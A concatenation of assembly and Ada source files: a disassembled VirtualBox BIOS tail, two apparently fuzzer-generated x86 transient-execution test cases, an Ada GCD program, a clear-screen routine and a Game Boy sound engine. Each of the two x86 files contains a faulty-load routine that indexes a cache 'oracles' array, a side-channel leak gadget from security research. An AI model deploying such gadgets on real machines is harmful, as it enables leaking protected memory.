mov AL, byte [00040h] ; a0 40 00
db 00ah, 0c0h
; or al, al ; 0a c0
je short 0feddh ; 74 0e
db 0feh, 0c8h
; dec al ; fe c8
mov byte [00040h], AL ; a2 40 00
jne short 0feddh ; 75 07
mov dx, 003f2h ; ba f2 03
in AL, DX ; ec
and AL, strict byte 0cfh ; 24 cf
out DX, AL ; ee
int 01ch ; cd 1c
cli ; fa
call 0e034h ; e8 51 e1
pop dx ; 5a
pop DS ; 1f
pop ax ; 58
iret ; cf
biosorg_check_before_or_at_0FEF1h: ; 0xffee7 LB 0xc
times 0xa db 0
db 'XM'
biosorg_check_at_0FEF3h: ; 0xffef3 LB 0xd
times 0xb db 0
db 'XM'
biosorg_check_at_0FF00h: ; 0xfff00 LB 0x19
dec di ; 4f
jc short 0ff64h ; 72 61
arpl [si+065h], bp ; 63 6c 65
and byte [bp+04dh], dl ; 20 56 4d
and byte [bp+069h], dl ; 20 56 69
jc short 0ff82h ; 72 74
jne short 0ff71h ; 75 61
insb ; 6c
inc dx ; 42
outsw ; 6f
js short 0ff35h ; 78 20
inc dx ; 42
dec cx ; 49
dec di ; 4f
push bx ; 53
biosorg_check_before_or_at_0FF51h: ; 0xfff19 LB 0x3a
times 0x38 db 0
db 'XM'
dummy_iret: ; 0xfff53 LB 0x1
iret ; cf
biosorg_check_at_0FF54h: ; 0xfff54 LB 0x2c
iret ; cf
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
cld ; fc
pop di ; 5f
push bx ; 53
dec bp ; 4d
pop di ; 5f
jnl short 0ff85h ; 7d 1f
add al, byte [di] ; 02 05
inc word [bx+si] ; ff 00
add byte [bx+si], al ; 00 00
add byte [bx+si], al ; 00 00
add byte [bx+si], al ; 00 00
pop di ; 5f
inc sp ; 44
dec bp ; 4d
dec cx ; 49
pop di ; 5f
and ax, strict word 00000h ; 25 00 00
add byte [bx+si], dl ; 00 10
push CS ; 0e
add byte [bx+si], al ; 00 00
add byte [di], ah ; 00 25
times 0x1 db 0
biosorg_check_before_or_at_0FFEEh: ; 0xfff80 LB 0x70
times 0x6e db 0
db 'XM'
cpu_reset: ; 0xffff0 LB 0x10
jmp far 0f000h:0e05bh ; ea 5b e0 00 f0
db 030h, 036h, 02fh, 032h, 033h, 02fh, 039h, 039h, 000h, 0fbh, 03bh
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_19.asm | ljhsiun2/medusa | 9 | 29644 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xd281, %r8
nop
xor %rbp, %rbp
mov (%r8), %r9
nop
nop
nop
and $621, %r11
lea addresses_WC_ht+0x18751, %rsi
lea addresses_D_ht+0x401, %rdi
nop
nop
nop
cmp $40465, %r9
mov $11, %rcx
rep movsw
nop
nop
nop
sub $5642, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %rdi
push %rsi
// Store
lea addresses_D+0x101bd, %rsi
nop
nop
nop
and $49359, %r13
movb $0x51, (%rsi)
nop
add %r13, %r13
// Faulty Load
lea addresses_WC+0xdc01, %rdi
nop
cmp $14267, %r13
movb (%rdi), %r15b
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rsi
pop %rdi
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 7}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2602.asm | ljhsiun2/medusa | 9 | 4247 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x4820, %rsi
lea addresses_D_ht+0x73a0, %rdi
nop
dec %r11
mov $42, %rcx
rep movsb
nop
nop
nop
nop
nop
add $48450, %r9
lea addresses_WT_ht+0x2a0, %r13
nop
nop
nop
nop
and $48680, %r14
movb $0x61, (%r13)
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x10440, %rsi
lea addresses_A_ht+0x10ac0, %rdi
nop
nop
nop
nop
nop
xor %rdx, %rdx
mov $121, %rcx
rep movsw
nop
nop
nop
nop
dec %r14
lea addresses_normal_ht+0x6072, %rsi
lea addresses_UC_ht+0x1cc20, %rdi
nop
nop
and $60474, %r14
mov $62, %rcx
rep movsq
nop
nop
nop
dec %rdx
lea addresses_normal_ht+0x12d36, %rsi
lea addresses_WC_ht+0x3820, %rdi
nop
xor %rdx, %rdx
mov $94, %rcx
rep movsb
xor %r9, %r9
lea addresses_WC_ht+0x18d08, %r13
nop
nop
nop
cmp $32999, %r11
movups (%r13), %xmm7
vpextrq $0, %xmm7, %r9
cmp %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rbx
// Faulty Load
lea addresses_WC+0x8020, %r10
and $24276, %r13
movb (%r10), %r14b
lea oracles, %r10
and $0xff, %r14
shlq $12, %r14
mov (%r10,%r14,1), %r14
pop %rbx
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
PIM/TD2_Raffinage/pgcd.adb | Hathoute/ENSEEIHT | 1 | 20647 | -- Score PIXAL le 07/10/2020 à 17:48 : 100%
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
-- Afficher le PGCD de deux entiers positifs.
procedure PGCD is
A, B: Integer;
n_A, n_B: Integer;
pgcd: Integer;
begin
-- Demander deux entiers A et B
Put("A et B ? ");
Get(A);
Get(B);
-- Determiner le PGCD de A et B
n_A := A;
n_B := B;
while n_A /= n_B loop -- Tant que n_A different de n_B
-- Soustraire au plus grande le plus petit
if n_A > n_B then
n_A := n_A - n_B;
else
n_B := n_B - n_A;
end if;
end loop;
pgcd := n_A;
-- Afficher le PGCD
Put("pgcd = ");
Put(pgcd);
end PGCD; |
Application/AssemblyCode/working_and_tmp_asm_files/clearScreen.asm | t0ddpar0dy/Handmade_Pacman | 0 | 174561 | JAL r6 clearscreen
BUC 0
// uses r2, r3, r4
clearscreen:
LUI 63 r2
ORI 255 r2 # r2 is current fb index
LUI 55 r3
ORI 183 r3 # r3 is last square outside of fp
MOVI 1 r4 # load fb with glyph 0
loop:
CMP r3 r2
BEQ endloop
STOR r4 r2
ADDI -1 r2
BUC loop
endloop:
RETX |
musPlayer/Sound.asm | a0r10n/MML6-compiler | 1 | 25698 | ;Sound player 5.0
.DEFINE VISUALS ;Enables code providing data to the graphical side
.define channelonebase $CE04
.define channeltwobase $CE36
.define channelthreebase $CE68
.define channelfourbase $CE9A
.define channelcontrolbase $CECC
.define channelsize $32
.define musicglobalbase $CE00
.export channelonebase
.export channeltwobase
.export channelthreebase
.export channelfourbase
.export channelcontrolbase
.export musicglobalbase
.export channelsize
;See MMLspec.txt for binary format of music data
;Memory map:
;Global:
;+$00: 1 byte : Sound effect control (don't use)
;%12341234
; ||||++++--- Sound effect requested
; ++++------- Sound effect playing
;+$01: 1 byte : Control register
;%1234NEQS
; |||||||+--- All sound on
; ||||||+---- Music on
; |||||+----- Enable sound effects (keep 0, don't use)
; ||||+------ New song
; ++++------- Channel N on
;+$02: 2 bytes: song pointer
;Contains per channel:
;+$00: 3 bytes: 8 loops + counter
;+$18: 1 byte : 16 lengths
;+$28: 2 bytes: Play pointer
;+$2A: 2 bytes: note table pointer
;+$2C: 1 byte : Octave offset
;+$2D: 1 byte : remaining note length
;+$2E: 1 byte : tempo quotient value
;+$2F: 1 byte : tempo remainder value
;+$30: 1 byte : tempo remainder counter
;+$31: 1 byte : Stacatto value
;Use:
;Call MusicLoad with BC->the song file to prepare the song
;Set the control register (see Memory Map) to play music
;Have interrupts enabled
;Switching songs:
;Just call MusicLoad again, and have interrupts enabled.
;Setup:
;Include this file in your project
;Call PlayTick at the end of your vBlank routine
;More detailed setup:
;PlayChannel has to be called with DE==the beginning of channel data for
;each channel about 60 times a second. Varying this will affect the tempo
;of the channels
;This player uses 256 bytes. It relies on this block not crossing a page boundry
.SECTION "Music Engine" FREE
MusicLoad:
;BC->music file
LD HL,musicglobalbase+$03
LD (HL),B
DEC L
LD (HL),C
DEC L
SET 3,(HL) ;Indicate new song
RET
_InitializeChannel:
;Set Play Pointer to value pointed to by HL, added to BC
;Set Octave to 2 (octave 4)
;Set Tempo Quotient to 2 (Tempo 120)
;Set Tempo Remainder to 0
;Set Stacatto to 0 (no length enable)
;Set Remaining Length to 0
;Set Remainder Counter to 0
PUSH HL
PUSH BC
LDI A,(HL)
LD H,(HL)
LD L,A
ADD HL,BC
LD B,H
LD C,L
LD HL,$0028 ;Play pointer
ADD HL,DE
LD (HL),C
INC L
LD (HL),B
INC L
INC L
INC L ;Octave offset
XOR A
LD (HL),2
INC L ;Remaining note length
LDI (HL),A
LD (HL),2 ;Tempo quotient
INC L
LDI (HL),A ;Tempo remainder
LDI (HL),A ;Tempo counter
LDI (HL),A ;Stacatto
POP BC
POP HL
INC HL ;Point to next entry
INC HL
RET
PlayTick:
LD A,(musicglobalbase+$01)
RRCA
LDH ($26),A ;Master sound enable bit
RET nc
BIT 0,A ;Music enable bit
RET nc
BIT 2,A ;New Song
JR z,+
;Set new song
RES 2,A
RLCA
LD HL,musicglobalbase+$01 ;Control register
LDI (HL),A ;Move HL to new song pointer
LD C,(HL)
INC L
LD B,(HL)
LD H,B
LD L,C
LD DE,channelcontrolbase
CALL _InitializeChannel
LD E,<channelonebase
CALL _InitializeChannel
LD E,<channeltwobase
CALL _InitializeChannel
LD E,<channelthreebase
CALL _InitializeChannel
LD E,<channelfourbase
CALL _InitializeChannel
+
LD DE,channelcontrolbase
CALL _PlayChannel
LD A,(musicglobalbase+$01)
BIT 4,A
JR z,+
LD E,<channelonebase
CALL _PlayChannel
+
LD A,(musicglobalbase+$01)
BIT 5,A
JR z,+
LD E,<channeltwobase
CALL _PlayChannel
+
LD A,(musicglobalbase+$01)
BIT 6,A
JR z,+
LD E,<channelthreebase
CALL _PlayChannel
+
LD A,(musicglobalbase+$01)
BIT 7,A
RET z
LD E,<channelfourbase
; JR _PlayChannel Fall through
;Main per channel loop
_PlayChannel:
;DE= Pointer to channel data
LD HL,$002F
ADD HL,DE
LDI A,(HL) ;Accumulate remainder
ADD (HL)
LDD (HL),A
DEC L
DEC L
LDI A,(HL) ;Remaining note length
SBC (HL) ;Tick down remaining note length, with carry from fractional
DEC L
LD (HL),A
;Carry set right from subtract
RET nc
--
;Do play notes
LD HL,$0028 ;Play pointer
ADD HL,DE
LDI A,(HL)
LD H,(HL)
LD L,A
LDI A,(HL)
LD C,A
AND $E0 ;Check for second byte
JR nz,+
LDI A,(HL)
LD B,A
+
PUSH BC
LD B,H ;Store new play pointer
LD C,L
LD HL,$0028
ADD HL,DE
LD (HL),C
INC L
LD (HL),B
POP BC
LD A,C
LD C,-1
PUSH AF ;Directive is ready, carry clear from preceding AND
LD A,E ;Calculate addresses for this channel (IO/Function)
-
INC C
SUB channelsize
JR nc,-
LD A,C ;Multiply by 5 for IO addresses
ADD A
ADD A
ADD C
LD C,A
ADD A ;Multiply by another 4 for function table address (total 20)
ADD A
ADD <_Channel1Directives
LD L,A
LD A,0
ADC >_Channel1Directives
LD H,A
LD A,C
ADD $10 ;IO base
LD C,A
POP AF
PUSH AF ;Determine which function in table to run
PUSH BC
LD B,H
LD C,L
LD HL,_DirectiveBoundTable
-
CP (HL)
INC HL
JR nc,+
;Not this function
INC BC
INC BC
JR -
+ ;Use this function
LD A,(BC) ;Get function address
INC BC
LD L,A
LD A,(BC)
LD H,A
POP BC
POP AF
;AF is top of stack, carry is clear
;No more directives read when carry is set on stack
;Do not maintain Play pointer when calling
PUSH AF
RST $30 ;CALL HL
POP AF
JR nc,--
RET
;Directive list
;Order is important
;Lowest values for a given directive
_DirectiveBoundTable:
.db $40,$30,$20,$10,$08,$04,$03,$02,$01,$00
;Function to call, given a directive
_Channel1Directives:
;Lowest value ;Function for directive
.dw _Note, _Rest, _Octave, _Length
.dw _Loop, _Tone, _Tempo, _Stacatto
.dw _Envelope, _Sweep
_Channel2Directives:
.dw _Note, _Rest, _Octave, _Length
.dw _Loop, _Tone, _Tempo, _Stacatto
.dw _Envelope, _None
_Channel3Directives:
.dw _Note3, _Rest3, _Octave, _Length
.dw _Loop, _Tone3, _Tempo, _Stacatto3
.dw _Envelope3, _None
_Channel4Directives:
.dw _Note4, _Rest, _Octave, _Length
.dw _Loop, _None, _Tempo, _None
.dw _None, _None
_Channel0Directives:
.dw _Note, _SetLength, _None, _Length
.dw _Loop, _None, _Tempo, _Stacatto3
.dw _Envelope0, _SetPanning
;Directive actions
;Calling convention
;A = Directive
;B = Data
;C = Channel IO base
;DE= Channel Memory base
;Preserve DE
;Note
_Note3:
PUSH AF ;Saved for length calculation
;Channel 3 needs to be stopped to change its notes.
LDH A,(C)
LD B,A ;Preserve bit, in event it should be off
XOR A
LDH (C),A ;Turn it off
LD A,B
LDH (C),A ;And on again (maybe)
POP AF
_Note:
PUSH AF
LD HL,$002C ;Octave offset
ADD HL,DE
AND $F0 ;Get absolute note
SUB $40
SWAP A
LD B,A
LD A,(HL) ;Multiply octave by 12
ADD A
ADD (HL)
ADD A
ADD A
ADD B ;Add in note
ADD A ;Table entries are 2 bytes
LD HL,$002A ;Note table pointer
ADD HL,DE
ADD (HL)
LD B,A
INC L
LD A,0
ADC (HL)
LD H,A
LD L,B
LDI A,(HL) ;Note data
INC C
INC C
INC C
LDH (C),A ;Frequency lo
LD A,$3F ;Don't have high two bits set, even if the table does
AND (HL)
LD B,A
LD HL,$0031 ;Stacatto
ADD HL,DE
LD A,(HL)
OR A
LD A,B
JR z,+ ;Length bit check
;Enable length bit only if a nonzero stacatto is set
OR $40
+
OR $80 ;Play note bit
INC C
LDH (C),A
POP AF
;Calculate note length
JR _SetLength
_Note4:
LD HL,$002C ;Octave Offset
ADD HL,DE
PUSH AF
LD A,(HL) ;Multiply octave by 12 (%00001100) (octaves -> half steps)
LD B,A
ADD A
ADD B
ADD A
ADD A
LD B,A
DEC L ;Note table pointer
LDD A,(HL)
LD L,(HL)
LD H,A
POP AF
PUSH BC
PUSH AF
AND $F0 ;Get note to half steps from table base
SUB $40
SWAP A
ADD B
PUSH BC
PUSH AF
ADD A ;2 bytes an entry
ADD L
LD L,A
LD A,0
ADC H
LD H,A
INC HL ;Envelope data
LD B,(HL)
CALL _Envelope
LD HL,$002A ;Note table pointer
ADD HL,DE
LDI A,(HL)
LD H,(HL)
LD L,A
LD BC,24*5 ;Skip from pitch to stacatto
ADD HL,BC
POP AF ;Half step count
POP BC ;C is the IO register
ADD L ;Go to this note's stacatto
LD L,A
LD A,0
ADC H
LD H,A
LD B,(HL)
CALL _Stacatto
POP AF
POP BC
JR _Note ;Play the note like normal
;Update the Remaining Note Length
_SetLength:
POP BC ;Return
POP HL ;AF value
AND $0F ;Isolate length
ADD $18 ;Length table base
LD L,A
LD H,$00
ADD HL,DE
LD A,(HL) ;Grab this note's length
LD HL,$2D ;Remaining Note Length
ADD HL,DE
ADD (HL)
LD (HL),A
PUSH AF ;New AF value
LD H,B ;Return
LD L,C
JP HL
;Rest
_Rest:
LD L,A
INC C
INC C
LDH A,(C) ;Save envelope value
LD B,A
XOR A
LDH (C),A ;A zeroed envelope ends notes
LD A,B
LDH (C),A
LD A,L ;Directive
;Calculate note length
JR _SetLength
;Rest (Channel 3)
;Channel 3 has an alternative way of stopping the note
_Rest3:
;CPL Rest directives already have the high bit unset
LDH (C),A ;Turn it off
CPL ;Fast high bit toggle
LDH (C),A ;And on again
CPL ;Recover initial value
;Calculate note length
JR _SetLength
;Tie
_Tie:
LD HL,$0028 ;Play pointer
ADD HL,DE
INC (HL) ;Update play pointer to sit past note
JR nz,+
INC HL
INC (HL)
DEC HL
+
LDI A,(HL) ;Retrieve the play pointer
LD H,(HL) ;So we can tie the next note
LD L,A
DEC HL
LD A,(HL)
AND $E0 ;Directive may be a length directive (kinda illegal, but useful)
LDI A,(HL)
JR nz,_SetLength
LD B,(HL) ;Length data
CALL _Length
LD HL,$0028 ;Play pointer
ADD HL,DE
INC (HL) ;Skip this data as well
JR nz,_Tie
INC HL
INC (HL)
DEC HL
JR _Tie
;Tempo
_Tempo:
XOR A ;Tie check
OR B
JR z,_Tie
;Convert from BPM to ticks/frame by multiplying by 4/225 in fixed point 8.16
;This corresponds to a constant of $048B, or %0000010010001101
;HL has a convenient 16 bit ADD for us
;Carry outs are stored in A, being our integer portion
;The upper 8 bits of the fractional portion are stored
;Follow along! Start with 1, and shift in and toggle the bits!
XOR A
LD L,B
LD H,A
LD C,B ;C is unneeded
LD B,H
ADD HL,HL ;0
ADD HL,HL ;0
ADD HL,HL
ADD HL,BC ;1
ADD HL,HL ;0
ADD HL,HL ;0
ADD HL,HL ;0
ADD HL,HL
ADD HL,BC ;1
ADD HL,HL
ADD HL,BC ;1
ADD HL,HL ;0
ADC A ;First possible carry out of H
ADD HL,HL
ADC A
ADD HL,BC ;1
ADC 0
LD B,H
LD HL,$002E
ADD HL,DE
LDI (HL),A ;Integer
LD (HL),B ;Fraction
RET
;Loop
_Loop:
BIT 7,B
JR nz,_LoopGo
; JR _LoopSet Fall through
_LoopSet:
PUSH AF
LD HL,$0028 ;Play pointer
ADD HL,DE
LDI A,(HL)
ADD B ;Include jump offset
LD C,A
LD A,(HL)
ADC 0
LD B,A
DEC BC ;Subtract two to adjust for this directive
DEC BC
POP AF
AND $07 ;Go to appropriate loop data
LD L,A ;Multiply by 3
ADD A
ADD L
LD L,A
LD H,$00
ADD HL,DE
LD (HL),C ;Store destination pointer
INC L
LD (HL),B
INC L
LD (HL),0 ;Zero loop counter
RET
_LoopGo:
RES 7,B
AND $07 ;Go to appropriate loop data
LD L,A ;Multiply by 3
ADD A
ADD L
ADD 2 ;Go to counter specifically
LD L,A
LD H,$00
ADD HL,DE
LD A,B
OR A
JR z,+ ;Always loop when specified count==0
INC (HL)
CP (HL)
RET c ;If we have looped enough, don't follow the loop
+ ;If we are here, we have not looped enough. Follow the loop
DEC L
LDD A,(HL)
LD C,(HL)
LD HL,$0029 ;Play pointer + 1
ADD HL,DE
LDD (HL),A
LD (HL),C
RET
;Tone
_Tone:
LD HL,$0031 ;Stacatto (stacks with wave data)
ADD HL,DE
LD B,$03
AND B ;Isolate tone
RRCA
RRCA
LD B,A
LD A,$3F
AND (HL)
OR B
INC C
LDH (C),A
RET
;Tone (Channel 3)
;Load in a waveform from the table
_Tone3:
.IFDEF VISUALS
LD A,B ;These four bytes push out wave information for the visual
LDH ($A3),A ;They are free to delete, should you not need visuals
XOR A ;...or need $FFA3...
.ENDIF
;XOR A ;Directive alreay has high bit unset
LDH (C),A ;Turn off channel so we can change wave
SWAP B
LD A,$F0
AND B
LD C,A
LD A,$0F
AND B
LD B,A
LD HL,Wave ;Wave table
ADD HL,BC
LD C,$30 ;Wave data
LD B,$10 ;Wave width
-
LDI A,(HL)
LDH (C),A
INC C
DEC B
JR nz,-
LD A,$FF ;Reenable channel
LDH ($1A),A
RET
;Set Panning (Channel 0)
;Given the data, affect a given channel's panning, as so:
;%000VTSCC
; |||++--- Channel to affect
; ||+----- L/R select
; |+------ 0 to toggle bit, 1 to set/reset bit
; +------- Value to set bit to
_SetPanning:
LD C,B ;Move B to C for a stack trick later
